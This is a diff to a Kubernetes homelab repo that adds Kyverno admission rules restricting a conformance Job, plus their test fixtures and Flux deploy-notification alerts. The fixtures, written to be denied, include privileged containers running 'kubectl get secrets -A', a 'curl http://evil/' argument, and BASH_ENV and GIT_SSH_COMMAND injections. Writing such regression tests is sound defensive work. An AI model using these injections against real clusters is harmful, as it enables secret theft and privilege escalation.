+    - name: trigger-may-not-declare-ephemeral-containers
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not declare ephemeralContainers. The committed
+          conformance run has no use for one, and an ephemeral container is a third container
+          list running as the privileged conformance-runner SA with an arbitrary command.
+        deny:
+          conditions:
+            all:
+              - key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+
+    # =========================================================================================
+    # ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
+    #
+    # The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
+    # to whatever adjacent field nobody enumerated. It was `initContainers`, then
+    # `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
+    # environment variable on either container.
+    #
+    # That is not hypothetical. Both programs the Job runs read their environment:
+    #   * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
+    #     CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
+    #     image (it dies on a mismatch rather than honouring a redirect — which is why the
+    #     specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
+    #     already closed there, in the image, not here);
+    #   * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
+    # And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
+    # `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
+    # Defence in depth belongs here too: the entrypoint's own validation should not be the only
+    # thing standing between a caller-chosen env var and the privileged SA.
+    #
+    # NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
+    # Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
+    # conformance-runner can already read Secrets in this namespace via its own RBAC, so
+    # pinning the source Secret would buy nothing. Names are the vector that matters, because a
+    # name is what a program keys its behaviour on.
+    # =========================================================================================
+    - name: trigger-env-names-must-be-the-committed-set
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may set only the committed environment variables. The runner
+          container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
+          init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
+          GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
+          pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
+          conformance-runner SA. Widening this list is a reviewed one-line change.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].env"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONF_ARTIFACTS
+                      - CONF_EMIT_ARTIFACTS_TGZ
+                      - TMPDIR
+                      - HOME
+          # Flattened across init containers: the rule above already caps them at one, but this
+          # must not silently stop checking if that cap is ever relaxed.
+          - list: "request.object.spec.template.spec.initContainers[].env[]"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value:
+                      - CONFORMANCE_GIT_SHA
+                      - CONFORMANCE_REPO_URL
+                      - CONFORMANCE_SRC
+                      - GITEA_USERNAME
+                      - GITEA_TOKEN
+                      - TMPDIR
+                      - HOME
+
+    - name: trigger-may-not-use-envfrom
+      # resources AND subjects in the SAME filter entry — see the note on the rules above.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
+          as environment variables, whose KEYS are not visible in the Job at all — which would
+          make the env-name allowlist above unenforceable by inspection.
+        deny:
+          conditions:
+            any:
+              - key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
+                operator: GreaterThan
+                value: 0
+              - key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
+                operator: GreaterThan
+                value: 0

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -19,20 +19,48 @@ resources:
 userinfo: user-info.yaml
 results:
   # ---- the committed run is ADMITTED ----
+  # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
+  # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
+  # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
+  # 2am against the live cluster. `good-run` remains the minimal shape.
   - policy: conformance-trigger-job-shape
     rule: trigger-may-create-only-the-committed-conformance-run
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-volumes-must-be-workspace-or-results
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-args-must-be-the-committed-flags
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
+    result: pass
+  # `real-template` is the only fixture WITH an init container, so it is the only one this
+  # rule reports on — a foreach over an absent list yields no result at all, which is why
+  # `good-run` is not listed here.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  # Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [good-run, real-template]
     result: pass
 
   # ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
     kind: Job
     resources: [injected-args]
     result: fail
+
+  # ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
+  # Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
+  # before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
+  # is the coordinator's independent reproduction; keeping it here is what stops the hole
+  # reopening.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
+    result: fail
+
+  # ---- and via the third container list nobody was reading ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [evil-ephemeral-container]
+    result: fail
+
+  # ---- and via `env`, the same mistake a third time ----
+  # `command` is pinned, so the injection moves to a variable the pinned command honours.
+  # BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
+  # execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
+  # rule — its container shape is perfect and only its env is hostile, which is exactly why the
+  # env rule has to exist separately.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [injected-env, injected-initcontainer-env]
+    result: fail
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [envfrom-whole-secret]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -1,4 +1,76 @@
-# The committed shape — must be ADMITTED.
+# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
+# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
+# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
+# `results` are the only two volume names admission allows. Must be ADMITTED.
+#
+# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
+# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
+# securityContext, and the presence of the init container) in step with it.
+#
+# The init container carries NO args: its logic is baked into the runner image at
+# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
+# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
+# see `evil-initcontainer` below for the escalation it closes.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: real-template
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 65532
+        fsGroup: 65532
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            # BY SECRET NAME ONLY — and as env, not as a volume.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      containers:
+        - name: chainsaw
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          workingDir: /workspace/src/conformance
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The minimal committed shape — must be ADMITTED.
 apiVersion: batch/v1
 kind: Job
 metadata:
@@ -152,3 +224,241 @@ spec:
       volumes:
         - name: workspace
           emptyDir: {}
+---
+# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
+# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
+# INIT container running as the privileged conformance-runner SA. Before
+# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
+# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
+# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
+#
+# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
+# Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: sneak
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            privileged: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
+# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
+# command mean anything, so this must be DENIED even though image and command are correct.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: initcontainer-with-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          args: ["--exec", "curl http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
+# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
+# and caps the count. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: second-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+        - name: also-me
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
+# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
+# script runs. Everything else here is the committed shape. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: BASH_ENV
+              value: /workspace/src/conformance/_pwned
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
+# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: envfrom-whole-secret
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          envFrom:
+            - secretRef:
+                name: anything-in-this-namespace
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
+# is the thing that reads them. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-initcontainer-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            - name: GIT_SSH_COMMAND
+              value: "sh -c 'kubectl get secrets -A'"
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
+# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
+# this case may be unreachable in practice; the rule and this fixture exist because
+# "probably rejected upstream" is not a boundary. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-ephemeral-container
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      ephemeralContainers:
+        - name: debugger
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}

platform/monitoring/alerts.yaml

@@ -799,6 +799,123 @@ spec:
             summary: "Flux resource suspended: {{ $labels.kind }}/{{ $labels.name }}"
             description: "{{ $labels.kind }} {{ $labels.namespace }}/{{ $labels.name }} has been suspended for 1h — reconciliation/drift-correction is off."
             runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-suspended"
+        # ===================================================================================
+        # DEPLOY NOTIFICATIONS (added 2026-09-29). The only rules in this repo whose PURPOSE is to
+        # send mail on the HEALTHY path: the operator asked to be told when Flux starts applying a
+        # git change and when it finishes. Read the two together — they share one expression and
+        # differ only in `for` and severity.
+        #
+        # WHY A RULE AND NOT A FLUX Alert/Provider. Neither Flux event can be filtered into a
+        # deploy signal. Measured on prod 2026-09-29: a Kustomization emits ReconciliationSucceeded
+        # on EVERY interval tick (101 events in one hour across 16 Kustomizations) with the message
+        # "Reconciliation finished in 324ms, next run in 10m0s" — byte-identical whether the apply
+        # changed anything or not; and `Progressing` is worse, because five Kustomizations re-apply
+        # the same object on every tick (event counts 2505/2504/2501/2495/2490), so anything keyed
+        # on it mails five times every ten minutes forever. The applied REVISION is the only signal
+        # that moves when and only when git moves. See the kube_flux_* block in
+        # kube-prometheus-stack.yaml for how it reaches the TSDB.
+        #
+        # THE EXPRESSION. `unless on (revision)` keeps a Kustomization only while its applied
+        # revision is absent from the set of revisions the GitRepository has fetched — i.e. while it
+        # is behind main. It empties itself as each Kustomization catches up, which is what makes
+        # the RESOLVED notification mean "the rollout completed" rather than "the alert timed out".
+        # Alertmanager's email-deploy receiver carries send_resolved: true for exactly that reason,
+        # and group_by: [alertname] collapses all 16 Kustomizations into one mail per rollout.
+        #
+        # TWO GUARDS, BOTH LOAD-BEARING, BOTH UNIT-TESTED (tests/flux-rollout.test.yaml):
+        #   * `and on () (count(...) > 0)` — if kube_flux_gitrepository_info is ABSENT (KSM rolled
+        #     without the ConfigMap, the flux RBAC lost, customResourceState reverted) then
+        #     `unless on (revision) <empty>` removes NOTHING and all 16 Kustomizations alert
+        #     forever, for no reason. That is the permanently-firing failure mode this repo already
+        #     shipped once (CNPG, 2026-09-12). The guard makes the missing-exporter case SILENT,
+        #     which is the correct direction for a notification — a broken exporter is what
+        #     FluxReconciliationFailure and the platform-health.monitoring-self rules are for.
+        #   * `unless on (namespace, name) (kube_flux_kustomization_suspended == 1)` — a suspended
+        #     Kustomization pins an old revision BY DESIGN, and would otherwise hold a rollout open
+        #     for as long as it stays suspended, so the resolved mail (the "it finished" half of the
+        #     feature) would never arrive. FluxResourceSuspended above is what reports that state.
+        #
+        # `revision!=""` on both sides: KSM omits a label whose path is absent, so a Kustomization
+        # that has never applied anything — or a GitRepository with no artifact yet — publishes the
+        # series with no `revision` label. Without the matcher those group together under the empty
+        # string and compare EQUAL, i.e. a never-applied Kustomization would read as converged.
+        #
+        # A THIRD THING THAT MUST NOT REGRESS — THE SEVERITY LABEL. These alerts are delivered
+        # because of the labels they do NOT carry as much as the ones they do. Do not "tidy" this
+        # pair by giving FluxRolloutInProgress a `severity`, and never `severity: info`: the chart's
+        # InfoInhibitor rule plus its `severity="info"` inhibit_rule suppress an info alert whenever
+        # it is the only thing firing in its namespace, which is every healthy deploy. Measured on
+        # prod 2026-09-30 — the alert fired correctly for 12 Kustomizations, resolved correctly, and
+        # was inhibited in between. The full reasoning is on the `notification: deploy` label below.
+        # ===================================================================================
+        - alert: FluxRolloutInProgress
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          # NO `for:`, ON PURPOSE. Every other rule in this file waits, because every other rule
+          # reports a fault and a fault that clears in 30s is noise. This one reports an EVENT the
+          # operator asked to be told about, so the failure mode to avoid is the opposite: a `for:`
+          # of even 1m would silently swallow any rollout that converged faster than that (a manual
+          # `flux reconcile`, a change touching one Kustomization), and a deploy notification that
+          # only sometimes arrives is worse than no notification at all.
+          labels:
+            # ROUTED BY `notification`, AND DELIBERATELY CARRYING NO `severity` (fixed 2026-09-30).
+            # This alert originally used `severity: info`. That was WRONG, and wrong in the silent
+            # direction — measured on prod within minutes of the first real deploy.
+            # kube-prometheus-stack ships `general.rules` -> InfoInhibitor:
+            #     group by (namespace) (ALERTS{severity="info"} == 1)
+            #       unless on (namespace) group by (namespace)
+            #         (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+            # which fires for any namespace that has a firing info alert AND NOTHING ELSE WRONG in
+            # it; paired with the chart's inhibit_rule
+            #     source_matchers: [alertname="InfoInhibitor"]
+            #     target_matchers: [severity="info"]
+            #     equal: [namespace]
+            # the effect is that an info alert is suppressed EXACTLY WHEN it is the only thing
+            # happening in its namespace. For a deploy notification that is the only case that
+            # matters: on a healthy rollout of a healthy cluster, flux-system has no warning or
+            # critical alert, so InfoInhibitor fired and this alert never reached the receiver.
+            # Verified live: InfoInhibitor went active 2026-09-30T04:58:48Z, the same moment this
+            # alert began firing for 12 Kustomizations.
+            # Upstream's intent is explicit — `severity: info` means "only worth showing next to a
+            # real problem". A deploy notice is not that, so it must not claim that severity.
+            # `notification` is a label no inhibit_rule in the chart targets (all three match on
+            # severity values), and omitting `severity` also stops InfoInhibitor firing for
+            # flux-system at all. Route: platform/monitoring/kube-prometheus-stack.yaml matches
+            # `notification = "deploy"` -> the email-deploy receiver, subject "[FLUX] applying|applied".
+            notification: deploy
+          annotations:
+            summary: "Flux is applying a new revision — {{ $labels.name }} is behind main"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has applied {{ $labels.revision }}, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+        # The escalation: a rollout that STARTED and never finished. Same expression, so it cannot
+        # disagree with the notification above about what "behind main" means; 30m is comfortably
+        # past the slowest legitimate convergence (the longest Kustomization interval is 1h for
+        # cilium, but its dependents are 10m and a wave chain converges well inside 30m).
+        # severity: warning, so this one takes the normal email-warning path and reads as a fault.
+        - alert: FluxRolloutStuck
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          for: 30m
+          labels:
+            severity: warning
+          annotations:
+            summary: "Flux rollout has not completed: {{ $labels.name }} stuck on an old revision"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has been behind the flux-system GitRepository revision for 30m (applied {{ $labels.revision }}) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
 
 # =====================================================================================
 # Certificates — cert-manager

platform/monitoring/kube-prometheus-stack.yaml

@@ -131,6 +131,44 @@ spec:
               # page-worthy — notify fast, remind often
               group_wait: 10s
               repeat_interval: 1h
+            # DEPLOY NOTICES, not health alerts (added 2026-09-29). FluxRolloutInProgress fires
+            # the moment the applied revision diverges from main and RESOLVES when every
+            # Kustomization has caught up — so the FIRED mail is "a deploy started" and the
+            # RESOLVED mail is "it finished". Both halves are the product, which is why
+            # send_resolved must stay true on the receiver below.
+            #
+            # A DEDICATED ROUTE, because the default receiver is `email-warning`: without it a
+            # routine deploy arrives subject-lined "[WARNING]" and becomes indistinguishable from a
+            # real platform fault, which is how alert mail stops being read at all.
+            #
+            # MATCHES `notification`, NOT `severity` (corrected 2026-09-30). This route first read
+            # `severity = "info"`, which routed correctly and then had the mail SUPPRESSED before it
+            # was sent: the chart's own InfoInhibitor rule fires for any namespace holding a firing
+            # info alert with no warning/critical beside it, and its inhibit_rule
+            # (source alertname="InfoInhibitor" -> target severity="info", equal [namespace]) drops
+            # exactly that alert. A healthy deploy in a healthy flux-system is precisely that case,
+            # so the notification was inhibited on every occasion it was wanted. Measured live on
+            # prod 2026-09-30: InfoInhibitor went active at 04:58:48Z as the alert began firing.
+            # Routing on a non-severity label sidesteps all three of the chart's inhibit_rules,
+            # which match on severity values only. See the label's own comment in alerts.yaml.
+            - matchers: ['notification = "deploy"']
+              receiver: email-deploy
+              # One mail per ROLLOUT, not per Kustomization: the alert fires once per lagging
+              # Kustomization (16 possible), and grouping on alertname alone collapses them into a
+              # single mail that lists all of them. The default group_by would have split them by
+              # namespace as well — harmless today (all 16 are in flux-system) and wrong the moment
+              # a Kustomization lives elsewhere.
+              group_by: ["alertname"]
+              group_wait: 30s
+              # 2m, not the 5m default: group_interval also bounds how long a group's RESOLVED
+              # notification waits, and holding "the deploy finished" four minutes behind the
+              # deploy finishing makes the completion half of this feature feel broken.
+              group_interval: 2m
+              # A deploy notice is a statement about one revision, so re-sending it on the 12h
+              # default would just repeat old news. 24h is long enough never to fire twice for one
+              # rollout, while still re-nagging if a rollout is genuinely stuck for a whole day
+              # (FluxRolloutStuck, severity warning, is the real escalation for that case).
+              repeat_interval: 24h
         receivers:
           - name: email-warning
             email_configs:
@@ -144,6 +182,19 @@ spec:
                 send_resolved: true
                 headers:
                   subject: '[CRITICAL] {{ .CommonLabels.alertname }} ({{ .CommonLabels.namespace }})'
+          # Flux deploy notices (the `severity = "info"` route above).
+          - name: email-deploy
+            email_configs:
+              - to: "[email protected]"    # alert inbox (operator: change if a different inbox is wanted)
+                # BOTH transitions are the deliverable here: firing = "Flux started applying a new
+                # revision", resolved = "every Kustomization reached it". Turning this off would
+                # delete the completion notification, not merely reduce noise.
+                send_resolved: true
+                headers:
+                  # `[FLUX] applying` / `[FLUX] applied` — readable in a notification preview
+                  # without opening the mail, and never the word WARNING for a healthy deploy.
+                  # .Status is "firing" or "resolved" in Alertmanager's notification template data.
+                  subject: '[FLUX] {{ if eq .Status "firing" }}applying{{ else }}applied{{ end }} — {{ .CommonLabels.alertname }}'
 
     # --- Grafana: dashboards (R-OBS-03), surfaced in the C2 UI (docs/12) behind Keycloak SSO ---
     grafana:
@@ -272,11 +323,33 @@ spec:
       #     `config` alone does not restart the pod: after editing it, `kubectl -n monitoring rollout
       #     restart deploy/kube-prometheus-stack-kube-state-metrics`. Enabling it the first time
       #     changes the pod spec (new arg + volume), so the initial rollout is automatic.
+      # FORCE A POD ROLL WHEN `customResourceState.config` BELOW CHANGES. The chart renders that
+      # config into a ConfigMap and mounts it, but the KSM Deployment carries NO checksum annotation
+      # over it — documented in the block above, and the reason the Velero metrics needed a manual
+      # `rollout restart` when they were first tuned. So a PR that edits ONLY `config` changes the
+      # ConfigMap, leaves the pod spec byte-identical, and KSM keeps running the OLD collector set:
+      # the new metrics never appear and every alert reading them is inert, while the PR is merged
+      # and green. That is the exact shape of defect this repo keeps getting bitten by, so it is
+      # closed declaratively rather than by remembering an operator step. BUMP THIS VALUE IN THE
+      # SAME COMMIT as any `customResourceState.config` edit and Flux rolls the pod for you.
+      # (Same mechanism as grafana.podAnnotations/oidc-rollout above.)
+      podAnnotations:
+        homelab.keithjackson.dev/crs-config-rollout: "1"
       rbac:
         extraRules:
           - apiGroups: ["velero.io"]
             resources: ["schedules"]
             verbs: ["get", "list", "watch"]
+          # Flux applied-revision metrics (the kube_flux_* block at the end of `config` below).
+          # MANDATORY for the same measured reason as velero.io above: without read access KSM
+          # publishes the custom-resource-state metrics as an EMPTY SET and logs a forbidden
+          # error, which would leave FluxRolloutInProgress/FluxRolloutStuck inert — silently.
+          - apiGroups: ["kustomize.toolkit.fluxcd.io"]
+            resources: ["kustomizations"]
+            verbs: ["get", "list", "watch"]
